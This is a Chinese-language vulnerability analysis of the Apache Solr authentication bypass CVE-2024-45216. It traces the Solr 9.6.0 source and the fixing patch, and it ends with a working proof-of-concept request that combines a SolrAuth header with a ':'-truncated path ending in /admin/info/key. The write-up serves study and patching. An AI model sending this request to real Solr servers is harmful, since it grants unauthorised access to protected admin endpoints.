Apache Solr 认证绕过(CVE-2024-45216)漏洞分析

0x01 漏洞介绍

Apache Solr 是一个开源搜索服务器。Apache Solr 的 PKIAuthenticationPlugin 插件存在认证绕过漏洞,攻击者可以构造恶意路径绕过认证机制。

影响版本

5.3.0 <= Apache Solr < 8.11.4

9.0.0 <= Apache Solr < 9.7.0

0x02 环境搭建

1
2
docker pull solr:9.6.0
docker run -d -p 8983:8983 --name my_solr solr:9.6.0

访问成功则表示搭建完成。

1
http://127.0.0.1:8983

image-20241114161736937

0x03 漏洞分析

solr 会将请求丢到 SolrDispatchFilter.doFilter 用于处理 HTTP 请求的过滤逻辑

doFilter 负责处理各种请求和路由,其中 excludedPath 如果为真则不进行后续检查。

https://github.com/apache/solr/blob/releases/solr/9.6.0/solr/core/src/java/org/apache/solr/servlet/SolrDispatchFilter.java#L199

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public void doFilter(
ServletRequest _request, ServletResponse _response, FilterChain chain, boolean retry)
throws IOException, ServletException {
if (!(_request instanceof HttpServletRequest)) return;
HttpServletRequest request = closeShield((HttpServletRequest) _request, retry);
HttpServletResponse response = closeShield((HttpServletResponse) _response, retry);

if (excludedPath(excludePatterns, request, response, chain)) {
return;
}
Tracer t = getCores() == null ? GlobalTracer.get() : getCores().getTracer();
request.setAttribute(ATTR_TRACING_TRACER, t);
RateLimitManager rateLimitManager = coreService.getService().getRateLimitManager();
try {
ServletUtils.rateLimitRequest(
rateLimitManager,
request,
response,
() -> {
try {
dispatch(chain, request, response, retry);
} catch (IOException | ServletException | SolrAuthenticationException e) {
throw new ExceptionWhileTracing(e);
}
});
} finally {
ServletUtils.consumeInputFully(request, response);
SolrRequestInfo.reset();
SolrRequestParsers.cleanupMultipartFiles(request);
}
}

跟进到 excludedPath

excludedPath 设定了一个排除列表 excludePatterns,如果命中了正则就表示这个请求不需要进一步处理。

https://github.com/apache/solr/blob/releases/solr/9.6.0/solr/core/src/java/org/apache/solr/servlet/ServletUtils.java#L153

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
static boolean excludedPath(
List<Pattern> excludePatterns,
HttpServletRequest request,
HttpServletResponse response,
FilterChain chain)
throws IOException, ServletException {
String requestPath = getPathAfterContext(request);
// No need to even create the HttpSolrCall object if this path is excluded.
if (excludePatterns != null) {
for (Pattern p : excludePatterns) {
Matcher matcher = p.matcher(requestPath);
if (matcher.lookingAt()) {
if (chain != null) {
chain.doFilter(request, response);
}
return true;
}
}
}
return false;
}

查看 excludePatterns 正则列表,是关于静态文件的匹配规则,如果为静态文件则不需要进行后续过滤检查。

https://github.com/apache/solr/blob/releases/solr/9.6.0/solr/webapp/web/WEB-INF/web.xml#L36

1
2
3
4
<init-param>
<param-name>excludePatterns</param-name>
<param-value>/partials/.+,/libs/.+,/css/.+,/js/.+,/img/.+,/templates/.+</param-value>
</init-param>

非静态文件则返回 doFilter 进入 dispatch 函数。

https://github.com/apache/solr/blob/releases/solr/9.6.0/solr/core/src/java/org/apache/solr/servlet/SolrDispatchFilter.java#L199

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public void doFilter(
ServletRequest _request, ServletResponse _response, FilterChain chain, boolean retry)
throws IOException, ServletException {
if (!(_request instanceof HttpServletRequest)) return;
HttpServletRequest request = closeShield((HttpServletRequest) _request, retry);
HttpServletResponse response = closeShield((HttpServletResponse) _response, retry);

if (excludedPath(excludePatterns, request, response, chain)) {
return;
}
Tracer t = getCores() == null ? GlobalTracer.get() : getCores().getTracer();
request.setAttribute(ATTR_TRACING_TRACER, t);
RateLimitManager rateLimitManager = coreService.getService().getRateLimitManager();
try {
ServletUtils.rateLimitRequest(
rateLimitManager,
request,
response,
() -> {
try {
dispatch(chain, request, response, retry);
} catch (IOException | ServletException | SolrAuthenticationException e) {
throw new ExceptionWhileTracing(e);
}
});
} finally {
ServletUtils.consumeInputFully(request, response);
SolrRequestInfo.reset();
SolrRequestParsers.cleanupMultipartFiles(request);
}
}

dispatch 通过 authenticateRequest 进行鉴权验证。

https://github.com/apache/solr/blob/releases/solr/9.6.0/solr/core/src/java/org/apache/solr/servlet/SolrDispatchFilter.java#L235

image-20241114132633268

跟进 authenticateRequest

authenticateRequest 会调用插件进行身份校验,其中 PKIAuthenticationPlugin.HEADERPKIAuthenticationPlugin.HEADER_V2 不为空则使用 PKIAuthenticationPlugin 插件进行验证。

https://github.com/apache/solr/blob/releases/solr/9.6.0/solr/core/src/java/org/apache/solr/servlet/SolrDispatchFilter.java#L307

image-20241114134136797

这两个值对应以下两个关键词。

https://github.com/apache/solr/blob/releases/solr/9.6.0/solr/core/src/java/org/apache/solr/security/PKIAuthenticationPlugin.java#L557

1
2
public static final String HEADER = "SolrAuth";
public static final String HEADER_V2 = "SolrAuthV2";

因此只要 Header 里面携带了其中一个就会使用 PKIAuthenticationPlugin 验证。

继续看 PKIAuthenticationPlugin 的验证逻辑 doAuthenticate

https://github.com/apache/solr/blob/releases/solr/9.6.0/solr/core/src/java/org/apache/solr/security/PKIAuthenticationPlugin.java#L136

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
@SuppressForbidden(reason = "Needs currentTimeMillis to compare against time in header")
@Override
public boolean doAuthenticate(
HttpServletRequest request, HttpServletResponse response, FilterChain filterChain)
throws Exception {
// Getting the received time must be the first thing we do, processing the request can take time
long receivedTime = System.currentTimeMillis();

String requestURI = request.getRequestURI();
if (requestURI.endsWith(PublicKeyHandler.PATH)) {
assert false : "Should already be handled by SolrDispatchFilter.authenticateRequest";

numPassThrough.inc();
filterChain.doFilter(request, response);
return true;
}

PKIHeaderData headerData = null;
String headerV2 = request.getHeader(HEADER_V2);
String headerV1 = request.getHeader(HEADER);
if (headerV1 == null && headerV2 == null) {
return sendError(response, true, "No PKI auth header was provided");
} else if (headerV2 != null) {
// Try V2 first
int nodeNameEnd = headerV2.indexOf(' ');
if (nodeNameEnd <= 0) {
// Do not log the value as it is likely gibberish
return sendError(response, true, "Could not parse node name from SolrAuthV2 header.");
}

headerData = decipherHeaderV2(headerV2, headerV2.substring(0, nodeNameEnd));
} else if (headerV1 != null && acceptPkiV1) {
List<String> authInfo = StrUtils.splitWS(headerV1, false);
if (authInfo.size() != 2) {
// We really shouldn't be logging and returning this, but we did it before so keep that
return sendError(response, false, "Invalid SolrAuth header: " + headerV1);
}
headerData = decipherHeader(authInfo.get(0), authInfo.get(1));
}

if (headerData == null) {
return sendError(response, true, "Could not validate PKI header.");
}
long elapsed = receivedTime - headerData.timestamp;
if (elapsed > MAX_VALIDITY) {
return sendError(response, true, "Expired key request timestamp, elapsed=" + elapsed);
}

final Principal principal =
"$".equals(headerData.userName)
? CLUSTER_MEMBER_NODE
: new BasicUserPrincipal(headerData.userName);

numAuthenticated.inc();
filterChain.doFilter(wrapWithPrincipal(request, principal), response);
return true;
}

其中有一段关于路径的验证,如果末尾以 PublicKeyHandler.PATH 结尾就跳过校验。

1
2
3
4
5
6
7
if (requestURI.endsWith(PublicKeyHandler.PATH)) {
assert false : "Should already be handled by SolrDispatchFilter.authenticateRequest";

numPassThrough.inc();
filterChain.doFilter(request, response);
return true;
}

搜索一下 PublicKeyHandler.PATH

https://github.com/apache/solr/blob/releases/solr/9.6.0/solr/core/src/java/org/apache/solr/security/PublicKeyHandler.java#L33

1
public static final String PATH = "/admin/info/key";

只要路由以 /admin/info/key 结尾则不进行校验。

问题就变成了,如何构建末尾是 /admin/info/key 的路径,且还能访问想要访问的页面。

回到 dispatch

https://github.com/apache/solr/blob/releases/solr/9.6.0/solr/core/src/java/org/apache/solr/servlet/SolrDispatchFilter.java#L235

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
private void dispatch(
FilterChain chain, HttpServletRequest request, HttpServletResponse response, boolean retry)
throws IOException, ServletException, SolrAuthenticationException {

AtomicReference<HttpServletRequest> wrappedRequest = new AtomicReference<>();
authenticateRequest(request, response, wrappedRequest);
if (wrappedRequest.get() != null) {
request = wrappedRequest.get();
}
......
HttpSolrCall call = getHttpSolrCall(request, response, retry);
ExecutorUtil.setServerThreadFlag(Boolean.TRUE);
try {
Action result = call.call();
switch (result) {
case PASSTHROUGH:
getSpan(request).log("SolrDispatchFilter PASSTHROUGH");
chain.doFilter(request, response);
break;
case RETRY:
getSpan(request).log("SolrDispatchFilter RETRY");
doFilter(request, response, chain, true); // RECURSION
break;
case FORWARD:
getSpan(request).log("SolrDispatchFilter FORWARD");
request.getRequestDispatcher(call.getPath()).forward(request, response);
break;
case ADMIN:
case PROCESS:
case REMOTEQUERY:
case ADMIN_OR_REMOTEQUERY:
case RETURN:
break;
}
} finally {
call.destroy();
ExecutorUtil.setServerThreadFlag(null);
}
}

通过 call() 会得到一个 result。

1
Action result = call.call();

因此去 HttpSolrCall 跟踪。

https://github.com/apache/solr/blob/releases/solr/9.6.0/solr/core/src/java/org/apache/solr/servlet/HttpSolrCall.java#L528

image-20241114160406662

查看初始化函数。

https://github.com/apache/solr/blob/releases/solr/9.6.0/solr/core/src/java/org/apache/solr/servlet/HttpSolrCall.java#L223

此处做了一个截断,如果路径中包含了 : 则取前面的内容为正常路径,过滤后面的路径。

image-20241114160626391

因此,只要请求包 Header 中包含了 SolrAuthSolrAuthV2 字段就可以使用 PKIAuthenticationPlugin 插件进行验证。而 PKIAuthenticationPlugin 插件中存在一个白名单,即路径末尾是 /admin/info/key 就不进行验证返回 True。为了正常访问未授权页面不被末尾的 /admin/info/key 干扰,就可以利用 Solr 的安全机制,截断 : 之后的字符。

使用以下请求就可以成功访问未授权页面。

1
2
3
GET /solr/admin/info/properties:/admin/info/key HTTP/1.1
Host: 127.0.0.1:8983
SolrAuth: gumgum

image-20241114161253146

0x04 漏洞补丁

https://github.com/apache/solr/commit/bd61680bfd351f608867739db75c3d70c1900e38#diff-1c90375c5d91492ff469c7fec2d07c32161bd0a3c3cd52c9d5f555b76a84f079

删除了 PKIAuthenticationPlugin 中的 /admin/info/key 白名单。删除了 : 截断的逻辑。

image-20241114162435301

0x05 参考